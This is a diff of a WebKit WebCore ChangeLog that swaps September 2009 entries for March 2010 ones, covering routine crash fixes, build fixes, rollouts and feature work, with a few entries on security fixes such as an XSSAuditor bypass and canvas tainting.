+        This fixes the crash, but the SVG still doesn't render properly.
 
-        Test that the first navigation always wins when the page tries to start
-        a new navigation in an unload handler.
+        Test: svg/custom/tiling-regular-hexagonal-crash.svg
 
-        Tests: fast/loader/unload-form-about-blank.html
-               fast/loader/unload-form-post-about-blank.html
-               fast/loader/unload-form-post.html
-               fast/loader/unload-form.html
-               fast/loader/unload-hyperlink.html
-               fast/loader/unload-javascript-url.html
-               fast/loader/unload-reload.html
-               fast/loader/unload-window-location.html
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::BitmapImageSingleFrameSkia::create): don't return 0 when
+        the copy fails; instead return a blank bitmap. The caller doesn't
+        check for 0 before dereferencing.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadURL):
-        (WebCore::FrameLoader::loadWithDocumentLoader):
+2010-03-04  Tony Chang  <tony@chromium.org>
 
-2009-09-18  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        Reviewed by Darin Fisher.
 
-        Reviewed by Xan Lopez.
+        Initialize m_isMultipartPayload in other ResourceResponse ctor.
+        In r55451 (bug 35628) I added an extra bool, but only initialized
+        it in one constructor.
+        https://bugs.webkit.org/show_bug.cgi?id=35719
+
+        * platform/network/chromium/ResourceResponse.h:
+        (WebCore::ResourceResponse::ResourceResponse):
 
-        [GTK] Sometimes crashes when a page is destroyed/loads another URL while playing video
-        https://bugs.webkit.org/show_bug.cgi?id=29496
+2010-03-03  Yuta Kitamura  <yutak@chromium.org>
 
-        Protect the video sink object, and destroy it in an idle callback
-        to hopefully avoid a race condition that leads to a crash.
+        Reviewed by Alexey Proskuryakov.
 
-        This is already tested by media/video-seekable.html
+        Add a new class that stores information about Web Socket handshake request.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::idleUnref):
-        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+        Instances of this class contain the necessary information to send a Web Socket
+        handshake request. In the future, this class will provide request information
+        to the Web Inspector.
 
-2009-09-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        WebSocketHandshake needs to provide request information
+        https://bugs.webkit.org/show_bug.cgi?id=34784
 
-        Unreviewed build fix for GTKand a blind one for Qt after r48566.
+        No new tests, since the current tests will suffice (LayoutTests/websocket/*).
 
         * GNUmakefile.am:
+        * WebCore.gypi:
         * WebCore.pro:
-
-2009-09-19  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29519
-        Remove JSNameNodeCollection and just use StaticNodeList
-
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::getNamedItems):
-        * bindings/js/JSHTMLFormElementCustom.cpp:
-        (WebCore::JSHTMLFormElement::nameGetter):
-        * bindings/js/JSNamedNodesCollection.cpp: Removed.
-        * bindings/js/JSNamedNodesCollection.h: Removed.
-
-2009-09-19  Daniel Bates  <dbates@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29511
-        
-        Fixes an issue where script code that contains non-ASCII characters may bypass the 
-        XSSAuditor.
-        
-        Before performing a comparison between the script source code and input parameters, we
-        remove all non-ASCII characters, including non-printable ASCII characters from the
-        script source code and input parameters.
-
-        Tests: http/tests/security/xssAuditor/img-onerror-non-ASCII-char.html
-               http/tests/security/xssAuditor/img-onerror-non-ASCII-char-default-encoding.html
-               http/tests/security/xssAuditor/img-onerror-non-ASCII-char2-default-encoding.html
-               http/tests/security/xssAuditor/img-onerror-non-ASCII-char2.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::isNonCanonicalCharacter): Modified to remove all non-ASCII characters,
-        including non-printable ASCII characters.
-
-2009-09-19  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Incorrect animation with scale(0) transform (singular matrix)
-        https://bugs.webkit.org/show_bug.cgi?id=29465
-        
-        Make accelerated scale() and translate() animations go through the component animation
-        path (rather than just matrix animation) to avoid problems with singular scale matrices,
-        and be slightly more efficient.
-
-        Test: compositing/transitions/singular-scale-transition.html
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::getTransformFunctionValue):
-        (WebCore::getValueFunctionNameForTransformOperation):
-
-2009-09-19  Alex Milowski  <alex@milowski.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Adds CSS styling and basic DOM element support for MathML
-
-        * DerivedSources.make:
-          Added user stylesheet and tag factory generation
-
-        * WebCore.xcodeproj/project.pbxproj:
-          Added new DOM element code
-
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseAttr):
-          Added check for document since stylesheet can be added before there is a document
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::styleForElement):
-          Added check to add MathML user agent stylesheet
-
-        * css/mathml.css: Added.
-          MathML user agent stylesheet
-
-        * dom/Document.cpp:
-        (WebCore::Document::createElement):
-          Added support for creation of MathML DOM objects
-
-        * dom/Node.h:
-        (WebCore::Node::isMathMLElement):
-          Added check method for whether the node is a MathML node
-
-        * mathml: Added.
-        * mathml/MathMLElement.cpp: Added.
-        (WebCore::MathMLElement::MathMLElement):
-        (WebCore::MathMLElement::create):
-        (WebCore::MathMLElement::createRenderer):
-        * mathml/MathMLElement.h: Added.
-        (WebCore::MathMLElement::isMathMLElement):
-          MathML DOM base class
-
-
-        * mathml/MathMLInlineContainerElement.cpp: Added.
-        (WebCore::MathMLInlineContainerElement::MathMLInlineContainerElement):
-        (WebCore::MathMLInlineContainerElement::create):
-        (WebCore::MathMLInlineContainerElement::createRenderer):
-        * mathml/MathMLInlineContainerElement.h: Added.
-          Base class for non-text containers
-
-        * mathml/MathMLMathElement.cpp: Added.
-        (WebCore::MathMLMathElement::MathMLMathElement):
-        (WebCore::MathMLMathElement::create):
-        * mathml/MathMLMathElement.h: Added.
-          Root Math element
-
-        * mathml/mathtags.in: Added.
-          Element list mappings
-
-        * page/Frame.cpp:
-        (WebCore::Frame::Frame):
-          Added MathML name initialization
-2009-09-19  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        Canvas drawn with data URL image raises SECURITY_ERR when toDataUrl() called.
-        https://bugs.webkit.org/show_bug.cgi?id=29305
-
-        We need to special-case data URLs when tainting a canvas because we
-        treat data URLs has having no security origin, unlike other
-        browsers.  The reason we do this is to help sites avoid XSS via data
-        URLs, but that consideration doesn't apply to canvas taint.
-
-        Also, we were previously incorrectly taking document.domain state
-        into account when tainting canvas.
-
-        Tests: http/tests/security/canvas-remote-read-data-url-image.html
-               http/tests/security/canvas-remote-read-data-url-svg-image.html
-               http/tests/security/canvas-remote-read-remote-image-document-domain.html
-
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::checkOrigin):
-        (WebCore::CanvasRenderingContext2D::createPattern):
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::taintsCanvas):
-        * page/SecurityOrigin.h:
-
-2009-09-18  Simon Fraser  <simon.fraser@apple.com>
-
-        Fix stylistic issue raised in code review for previous commit.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::hasNonZeroTransformOrigin):
-
-2009-09-18  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Element is misplaced during opacity transition with certain configuration of transform-origin and clipping
-        https://bugs.webkit.org/show_bug.cgi?id=29495
-        
-        If an element has zero size, but has a transform origin with absolute values,
-        then the transform origin would not be applied because it is implemented via
-        anchorPoint, which is expressed as a fraction of the layer size.
-        
-        Work around this by artificially inflating the size of the backing store when we need to.
-
-        Test: compositing/geometry/transfrom-origin-on-zero-size-layer.html
-
-        * rendering/RenderLayerBacking.h:
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::RenderLayerBacking):
-        Init m_artificiallyInflatedBounds to false.
-        
-        (WebCore::hasNonZeroTransformOrigin):
-        Utility function that describes whether the transform-origin contains non-percentage
-        x or y offsets.
-        
-        (WebCore::RenderLayerBacking::updateCompositedBounds):
-        New wrapper method around setCompositedBounds() that applies the size inflation
-        when necessary, setting the m_artificiallyInflatedBounds as appropriate.
-        
-        (WebCore::RenderLayerBacking::updateAfterLayout): Call updateCompositedBounds().
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry): Ditto
-        
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree): Ditto
-        (WebCore::RenderLayerCompositor::updateCompositingDescendantGeometry): Ditto
-
-2009-09-18  Antti Koivisto  <antti@apple.com>
-
-        Reviewed by Maciej Stachowiak.
+        * websockets/WebSocketChannel.cpp:
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::WebSocketHandshake::clientHandshakeMessage):
+        (WebCore::WebSocketHandshake::clientHandshakeRequest):
+        * websockets/WebSocketHandshake.h:
+        * websockets/WebSocketHandshakeRequest.cpp: Added.
+        (WebCore::WebSocketHandshakeRequest::WebSocketHandshakeRequest):
+        (WebCore::WebSocketHandshakeRequest::~WebSocketHandshakeRequest):
+        (WebCore::WebSocketHandshakeRequest::addExtraHeaderField):
+        (WebCore::WebSocketHandshakeRequest::headerFields):
+        (WebCore::WebSocketHandshakeRequest::host):
+        * websockets/WebSocketHandshakeRequest.h: Added.
+
+2010-03-03  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29512
-        Don't recalculate style when restoring from the page cache
+        Reviewed by Kenneth Rohde Christiansen.
 
-        FrameLoaderClient::forceLayout() also forces style recalc. Instead call FrameView::forceLayout() 
-        directly to update the scrollbars while keeping the existing style.
-        
-        Makes back/forward really fast on complex pages (in cases where page cache works).
+        Build fix after r55452.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::commitProvisionalLoad):
+        No new tests, this is a build fix.
 
-2009-09-18  Oliver Hunt  <oliver@apple.com>
+        * page/Settings.cpp:
+        (WebCore::Settings::setDatabasesEnabled):
 
-        Reviewed by Geoff Garen.
+2010-03-03  Diego Gonzalez  <diego.gonzalez@openbossa.org>
 
-        Implement ES5 Object.defineProperty function
-        https://bugs.webkit.org/show_bug.cgi?id=29503
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Override defineOwnProperty on JSDOMWindowShell to forward appropriately,
-        and then override defineOwnProperty on JSDOMWindow to disallow cross origin
-        defineOwnProperty usage.  We also override defineOwnProperty on QuarantinedObjectWrapper
-        to ensure correct wrapping semantics of quarantined objects.
+        Make keyIdentifierForQtKeyCode return the unicode backspace value on Qt PlatformKeyboardEvent
 
-        One major caveat in this patch is that it currently disallows the use
-        of Object.defineProperty on DOMObjects other than the window due to
-        the significant work involved in correctly propagating attributes and
-        ensuring correct semantics on dom objects.
+        LayoutTests:
+            fast/events/key-events-in-input-text.html
+            fast/events/special-key-events-in-input-text.html
 
-        Tests: fast/js/Object-defineProperty.html
-               http/tests/security/xss-DENIED-defineProperty.html
+        [Qt] Return the unicode backspace value in keyIdentifierForQtKeyCode on Qt PlatformKeyboardEvent
+        https://bugs.webkit.org/show_bug.cgi?id=35694
 
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::DOMObject::defineOwnProperty):
-        * bindings/js/JSDOMBinding.h:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::defineGetter):
-        (WebCore::JSDOMWindow::defineSetter):
-        (WebCore::JSDOMWindow::defineOwnProperty):
-        * bindings/js/JSDOMWindowShell.cpp:
-        (WebCore::JSDOMWindowShell::defineOwnProperty):
-        (WebCore::JSDOMWindowShell::defineGetter):
-        (WebCore::JSDOMWindowShell::defineSetter):
-        * bindings/js/JSDOMWindowShell.h:
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::JSLocation::defineGetter):
-        (WebCore::JSLocationPrototype::defineGetter):
-        * bindings/js/JSQuarantinedObjectWrapper.cpp:
-        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyDescriptor):
-        (WebCore::JSQuarantinedObjectWrapper::defineOwnProperty):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        * bindings/scripts/CodeGeneratorJS.pm:
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::keyIdentifierForQtKeyCode):
 
-2009-09-18  Alexey Proskuryakov  <ap@apple.com>
+2010-03-03  Chad Faragher  <wyck@chromium.org>
 
         Reviewed by Darin Adler.
+        Changed the double-click framework code to pass adjusted page
+        coordinates for zoomed pages.  Added a new test to expose
+        mistreatment of mouse click coordinates during a double-click.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29510
-        Active DOM objects should be suspended while a modal dialog is displayed
-
-        * manual-tests/js-timers-beneath-modal-dialog.html: Added a test for JS timers.
-
-        * page/PageGroupLoadDeferrer.cpp:
-        (WebCore::PageGroupLoadDeferrer::PageGroupLoadDeferrer):
-        (WebCore::PageGroupLoadDeferrer::~PageGroupLoadDeferrer):
-        Match other platforms, and make Mac also suspend active DOM objects. Since a page that
-        currently displays a modal dialog cannot go into page cache, there is no danger of suspending
-        an object twice.        
-
-2009-09-18  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
-
-        Reviewed by Eric Seidel.
-
-        [Qt] Buildfix caused by http://trac.webkit.org/changeset/48513
-        https://bugs.webkit.org/show_bug.cgi?id=29351
-
-        * bridge/qt/qt_instance.h: createRuntimeObject method renamed to newRuntimeObject.
-        * bridge/runtime.h: Visibility of newRuntimeObject method modified to protected.
-
-2009-09-18  Yury Semikhatsky  <yurys@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Fix parameter substitutions in console.log().
-
-        https://bugs.webkit.org/show_bug.cgi?id=29366
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleMessage.prototype._format):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getPrototypes):
-        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain):
-        * inspector/front-end/utilities.js:
-        ():
-
-2009-09-18  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Geoffrey Garen and Brady Eidson.
+        https://bugs.webkit.org/show_bug.cgi?id=35690
 
-        Temporarily remove an assertion that was getting hit when going
-        back to a page in the page cache while a banner in Safari was visible.
-        We should re-enable this once that is fixed. See <rdar://problem/7218118>
+        Test: fast/events/zoom-dblclick.html
 
-        * page/FrameView.cpp:
-        (WebCore::FrameView::scheduleRelayout):
-
-2009-09-18  Anders Carlsson  <andersca@apple.com>
-
-        Try fixing the build again.
-        
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::wndProc):
-
-2009-09-18  Anders Carlsson  <andersca@apple.com>
-
-        Fix windows build.
-        
-        * platform/win/PopupMenuWin.cpp:
-
-2009-09-18  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Gavin 'BearClaw' Barraclough.
-
-        Convert another callback type object to store the global object
-        instead of the frame.
-
-        * bindings/js/JSCustomXPathNSResolver.cpp:
-        (WebCore::JSCustomXPathNSResolver::create):
-        (WebCore::JSCustomXPathNSResolver::JSCustomXPathNSResolver):
-        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/js/JSCustomXPathNSResolver.h:
+        * dom/Node.cpp:
+        (WebCore::Node::dispatchMouseEvent):
 
-2009-09-18  Anders Carlsson  <andersca@apple.com>
+2010-03-03  David Levin  <levin@chromium.org>
 
-        Reviewed by Sam Weinig.
+        No review, rolling out r55474.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29332
-        <rdar://problem/7231652> 
-        REGRESSION (r48446): While a <select> popup menu is open, the
-        rest of the WebView doesn't respond to mouse move events.
+        The patch broke fast/frames/sandboxed-iframe-storage.html
 
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::translatePoint):
-        New helper function that translates a point between HWND coordinates.
-        
-        (WebCore::PopupMenu::show):
-        Protect the PopupMenu if someone removes the <select> in response to a mouse
-        event. Handle WM_HOST_WINDOW_MOUSEMOVE events.
+        Last one (I hope).
         
-        (WebCore::PopupMenu::wndProc):
-        in the WM_MOUSEMOVE handler, if the mouse is not over the popup, post a 
-        WM_HOST_WINDOW_MOUSEMOVE event so that the host window (the WebView) gets the
-        mouse move event.
+        * WebCore.xcodeproj/project.pbxproj:
 
-2009-09-18  Simon Fraser  <simon.fraser@apple.com>
+2010-03-03  David Levin  <levin@chromium.org>
 
-        Reviewed by Dave Hyatt.
+        No review, rolling out r55474.
 
-        Compositing layers are incorrectly positioned after scrolling with position:fixed
-        https://bugs.webkit.org/show_bug.cgi?id=29262
-        
-        When scrolling a page with compositing layers inside a position:fixed element,
-        we need to update the compositing layer positions when the scroll position changes.
+        The patch broke fast/frames/sandboxed-iframe-storage.html
 
-        Test: compositing/geometry/fixed-position.html
+        Unfortunately, (the webkit-patch rollout and) I missed these in r55485.
 
-        * WebCore.base.exp:
-        Export FrameView::scrollPositionChanged()
-        
-        * page/FrameView.h:
-        * page/FrameView.cpp:
-        (WebCore::FrameView::scrollPositionChanged):
-        New method that sends the scroll event, and updates compositing layers positions if necessary.
+        * bindings/js/JSDatabaseCallback.cpp: Removed.
+        * bindings/js/JSDatabaseCallback.h: Removed.
+        * bindings/v8/custom/V8DatabaseCallback.cpp: Removed.
+        * bindings/v8/custom/V8DatabaseCallback.h: Removed.
+        * storage/DatabaseCallback.h: Removed.
 
-2009-09-18  Simon Fraser  <simon.fraser@apple.com>
+2010-03-02  Dumitru Daniliuc  <dumi@chromium.org>
 
-        Reviewed by Dave Hyatt.
+        Reviewed by Dimitri Glazkov.
 
-        Transformed elements inside position:fixed container are clipped incorrectly
-        https://bugs.webkit.org/show_bug.cgi?id=29346
-        
-        Fix clipping and hit testing on transformed elements inside a position:fixed element.
-        Previously, the code used the overflowClipRect of the parent clip rects, but
-        this is not correct for fixed postion elements. Instead, share code that is
-        already present in calculateRects() to get the correct rect.
+        Fix a bug that could lead to a crash. Some parts of
+        SQLTransaction::checkAndHandleClosedDatabase() should only be run
+        when that method is invoked on the DB thread.
+
+        We cannot test this fix with a test, because the crash happens
+        only when all of the following conditions are met:
+        1. A database is closing.
+        2. A transaction on that database is in progress.
+        3. The transaction is in a state where a statement/transaction
+        success/error callback needs to be invoked (so there's a task for
+        this transaction pending on the main thread).
+        4. The DB thread finished processing all its tasks and called
+        SQLTransactionCoordinator::shutdown() before the main thread go to
+        that task.
+
+        The closest thing we have to a test is running
+        LayoutTests/storage/database-lock-after-reload.html 1000 times in
+        a row. Without the patch, the probability of a crash happening in
+        one of the runs is very high. With the patch, the test should
+        reliably run 1000 times in a row without a single crash.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35624
 
-        Test: fast/overflow/position-fixed-transform-clipping.html
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::checkAndHandleClosedDatabase):
 
-        * rendering/RenderLayer.h:
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::paintLayer):
-        (WebCore::RenderLayer::hitTestLayer):
-        Call the new backgroundClipRect() to get the correct clipRect.
-        
-        (WebCore::RenderLayer::backgroundClipRect):
-        New method, factored out of calculateRects(), that computes the clip rect,
-        doing the right thing for fixed position elements.
-        
-        (WebCore::RenderLayer::calculateRects):
-        Call the new backgroundClipRect() method.
-        
-2009-09-18  Dan Bernstein  <mitz@apple.com>
+2010-03-03  Darin Fisher  <darin@chromium.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Mark Rowe.
 
-        Fix <rdar://problem/7050773> REGRESSION (r40098) Crash at
-        WebCore::RenderBlock::layoutBlock()
-        https://bugs.webkit.org/show_bug.cgi?id=29498
+        Page should not care about Chromium plug-in implementation details
+        https://bugs.webkit.org/show_bug.cgi?id=35623
 
-        Test: accessibility/nested-layout-crash.html
+        * WebCore.gypi: Compile PluginViewNone.cpp
+        * page/Page.cpp:
+        (WebCore::Page::privateBrowsingStateChanged): Remove conditional
+        compilation for PLATFORM(CHROMIUM).
 
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::updateBackingStore): Changed to
-            call Document::updateLayoutIgnorePendingStylesheets() instead of
-            calling RenderObject::layoutIfNeeded(). The latter requires that
-            there be no pending style recalc, which allows methods that call
-            Document::updateLayout() to be called during layout without risking
-            re-entry into layout.
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityActionNames]): Null-check
-            m_object after calling updateBackingStore(), since style recalc may
-            destroy the renderer, which destroys the accessibility object and
-            detaches it from the wrapper.
-        (-[AccessibilityObjectWrapper accessibilityAttributeNames]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityFocusedUIElement]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityHitTest:]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityIsAttributeSettable:]):
-            Ditto.
-        (-[AccessibilityObjectWrapper accessibilityIsIgnored]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityParameterizedAttributeNames]):
-             Ditto.
-        (-[AccessibilityObjectWrapper accessibilityPerformPressAction]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityPerformIncrementAction]):
-            Ditto.
-        (-[AccessibilityObjectWrapper accessibilityPerformDecrementAction]):
-            Ditto.
-        (-[AccessibilityObjectWrapper accessibilityPerformAction:]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
-            Ditto.
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:forParameter:]):
-            Ditto.
-        (-[AccessibilityObjectWrapper accessibilityIndexOfChild:]): Ditto.
-        (-[AccessibilityObjectWrapper accessibilityArrayAttributeCount:]):
-            Ditto.
-        (-[AccessibilityObjectWrapper accessibilityArrayAttributeValues:index:maxCount:]):
-            Ditto.
-
-2009-09-18  Fumitoshi Ukai  <ukai@chromium.org>
+2010-03-03  David Levin  <levin@chromium.org>
 
-        Reviewed by Simon Hausmann.
+        No review, rolling out r55474.
+        http://trac.webkit.org/changeset/55480
 
-        Update Qt build system for Web Socket.
-        https://bugs.webkit.org/show_bug.cgi?id=29270
+        The patch broke fast/frames/sandboxed-iframe-storage.html
 
+        * Android.jscbindings.mk:
+        * Android.v8bindings.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
         * WebCore.pro:
-        * platform/network/qt/SocketStreamError.h: Added.
-        * platform/network/qt/SocketStreamHandle.h: Added.
-        * platform/network/qt/SocketStreamHandleSoup.cpp: Added.
+        * WebCore.vcproj/WebCore.vcproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * dom/Document.cpp:
+        (WebCore::Document::postTask):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::openDatabase):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+        * storage/Database.h:
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::openDatabase):
+        * workers/WorkerContext.h:
 
-2009-09-18  Eric Carlson  <eric.carlson@apple.com>
+2010-03-03  David Levin  <levin@chromium.org>
 
-        Reviewed by Darin Adler.
+        No review, rolling out r55480.
+        http://trac.webkit.org/changeset/55480
 
-        NULL check HTMLMediaElement::m_playedTimeRanges.
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29494
+        The patch broke fast/frames/sandboxed-iframe-storage.html
 
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::addPlayedRange): New. Create m_playedTimeRanges if
-        necessary, add range specified.
-        (WebCore::HTMLMediaElement::seek): Use addPlayedRange. 
-        (WebCore::HTMLMediaElement::played): Use addPlayedRange. Change time comparison 
-        to be more readable.
-        (WebCore::HTMLMediaElement::updatePlayState): Ditto.
-        * html/HTMLMediaElement.h:
+        * storage/Database.cpp:
+        * storage/Database.h:
 
-2009-09-18  Sam Weinig  <sam@webkit.org>
+2010-03-03  Mark Rowe  <mrowe@apple.com>
 
-        Reviewed by Adele Peterson.
+        Reviewed by Geoff Garen.
 
-        Follow up fix for https://bugs.webkit.org/show_bug.cgi?id=29276
-        REGRESSION(r48334): WebKit crashes on file select by drag
+        Add virtual memory tags for TCMalloc and WebCore's purgeable buffers.
 
-        Don't use Document.elementFromPoint since it returns null if the point
-        is outside the viewport.  Instead, just hit test ourselves.
+        * platform/mac/PurgeableBufferMac.cpp:
+        (WebCore::PurgeableBuffer::create):  Use the VM tag.
 
-        Test: fast/events/drag-file-crash.html
+2010-03-03  Dumitru Daniliuc  <dumi@chromium.org>
 
-        * page/DragController.cpp:
-        (WebCore::elementUnderMouse):
-        (WebCore::DragController::tryDocumentDrag):
-        (WebCore::DragController::concludeEditDrag):
+        Reviewed by nobody, build fix.
 
-2009-09-18  Darin Adler  <darin@apple.com>
+        Move #include "DatabaseCallback.h" from Database.h to
+        Database.cpp.
 
-        Reviewed by Sam Weinig.
+        * storage/Database.cpp:
+        * storage/Database.h:
 
-        Each wrapped Objective-C object should use a single RuntimeObjectImp
-        https://bugs.webkit.org/show_bug.cgi?id=29351
-        rdar://problem/7142294
+2010-03-03  Darin Adler  <darin@apple.com>
 
-        * WebCore.base.exp: Added a newly-needed exported symbol.
+        Fixed Mac build.
 
-        * bindings/objc/DOMInternal.h: Eliminated unused
-        createWrapperCacheWithIntegerKeys; it has not been needed since the
-        RGBColor wrappers were reworked.
-        * bindings/objc/DOMInternal.mm: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Marked a couple of headers "private" so they can
+        be used in the WebKit project.
 
-        * bridge/objc/objc_instance.h: Made the create function non-inline.
-        * bridge/objc/objc_instance.mm:
-        (createInstanceWrapperCache): Added. Creates an appropriate map table.
-        (ObjcInstance::create): Moved here from header. Uses NSMapGet and
-        NSMapInsert to cache the instance in a map table.
-        (ObjcInstance::~ObjcInstance): Added a call to NSMapRemove to remove
-        the instance from the map table.
+2010-03-03  Alexey Proskuryakov  <ap@apple.com>
 
-        * bridge/qt/qt_instance.cpp:
-        (JSC::Bindings::QtInstance::~QtInstance): Remove unneeded code to remove
-        the instance from cachedObjects, which no longer exists.
-        (JSC::Bindings::QtInstance::newRuntimeObject): Renamed to overload new
-        bottleneck. Caching is now handled by the base class.
-
-        * bridge/runtime.cpp:
-        (JSC::Bindings::Instance::Instance): Initialize m_runtimeObject to 0.
-        (JSC::Bindings::Instance::~Instance): Assert m_runtimeObject is 0.
-        (JSC::Bindings::Instance::createRuntimeObject): Use m_runtimeObject
-        if it's already set. Set m_runtimeObject and call addRuntimeObject
-        if it's not.
-        (JSC::Bindings::Instance::newRuntimeObject): Added. Virtual function,
-        used only by createRuntimeObject.
-        (JSC::Bindings::Instance::willDestroyRuntimeObject): Added.
-        Calls removeRuntimeObject and then clears m_runtimeObject.
-        (JSC::Bindings::Instance::willInvalidateRuntimeObject): Added.
-        Clears m_runtimeObject.
-
-        * bridge/runtime.h: Made createRuntimeObject non-virtual. Added
-        willDestroyRuntimeObject, willInvalidateRuntimeObject,
-        newRuntimeObject, and m_runtimeObject.
+        Reviewed by Adele Peterson.
 
-        * bridge/runtime_object.cpp:
-        (JSC::RuntimeObjectImp::RuntimeObjectImp): Removed addRuntimeObject
-        call, now handled by caller.
-        (JSC::RuntimeObjectImp::~RuntimeObjectImp): Replaced removeRuntimeObject
-        call with willDestroyRuntimeObject call; the latter nows calls
-        removeRuntimeObject.
-        (JSC::RuntimeObjectImp::invalidate): Added willInvalidateRuntimeObject
-        call.
+        https://bugs.webkit.org/show_bug.cgi?id=35044
+        Crash in XML tokenizer reloading zoom-coords-viewattr-01-b.svg
 
-        * bridge/runtime_object.h: Made invalidate non-virtual.
+        I'm often getting a crash even when opening the test for the first time in Safari, but it
+        doesn't seem to crash in DumpRenderTree. Still, I can't think of a stronger way to test for
+        this condition, so no new regression test.
 
-2009-09-18  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        * dom/XMLTokenizer.cpp: (WebCore::XMLTokenizer::end): Be prepared that parsing remaining
+        input will pause parsing.
 
-        Reviewed by Simon Hausmann.
+2010-03-03  Dumitru Daniliuc  <dumi@chromium.org>
 
-        Make PlatformWindow return something else than PlatformWidget
-        https://bugs.webkit.org/show_bug.cgi?id=29085
+        Reviewed by Adam Barth.
 
-        Make platformWindow return a PlatformPageClient
-        (for now typedef'ed to PlatformWidget)
+        Adding support for the optional creation callback that could be
+        passed to openDatabase().
 
-        Also, change the name of platformWindow to platformPageClient()
+        Test: storage/open-database-creation-callback.html
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (getPangoLayoutForAtk):
-        * accessibility/win/AXObjectCacheWin.cpp:
-        (WebCore::AXObjectCache::postPlatformNotification):
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
-        * loader/EmptyClients.h:
-        (WebCore::EmptyChromeClient::platformPageClient):
-        * page/Chrome.cpp:
-        (WebCore::Chrome::platformPageClient):
-        * page/Chrome.h:
-        * page/ChromeClient.h:
-        * page/mac/EventHandlerMac.mm:
-        (WebCore::EventHandler::wheelEvent):
-        (WebCore::EventHandler::currentPlatformMouseEvent):
-        (WebCore::EventHandler::sendContextMenuEvent):
-        (WebCore::EventHandler::eventMayStartDrag):
-        * platform/HostWindow.h:
-        * platform/Widget.h:
-        * platform/gtk/PlatformScreenGtk.cpp:
-        (WebCore::getVisual):
-        (WebCore::screenRect):
